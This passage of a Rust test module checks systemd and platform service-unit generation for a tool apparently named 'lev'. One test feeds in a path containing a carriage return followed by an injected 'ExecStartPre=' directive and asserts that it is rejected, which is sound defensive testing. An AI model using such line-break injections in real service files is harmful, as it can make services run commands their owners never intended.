893        /// A carriage return is a line break too - systemd tolerates CRLF.
894        #[test]
895        fn a_carriage_return_is_refused_too() {
896            assert!(
897                systemd_unit(
898                    Path::new("/usr/local/bin/lev"),
899                    Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
900                    Path::new("/home/u/.leviath/daemon.log"),
901                )
902                .is_err()
903            );
904        }
905    }
906
907    // ── Platforms without one ────────────────────────────────────────────────
908
909    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
910    mod unsupported {
911        use super::*;
912
913        #[test]
914        fn install_is_refused_with_an_actionable_message() {
915            let err = service_unit(
916                Path::new("lev.exe"),
917                Path::new("home"),
918                Path::new("units"),
919                0,
920            )
921            .unwrap_err()
922            .to_string();
923            assert!(err.contains("macOS"), "got: {err}");
924            assert!(err.contains("lev daemon"), "got: {err}");
925            assert!(config_home(Path::new("home")).is_err());
926        }
927    }
928}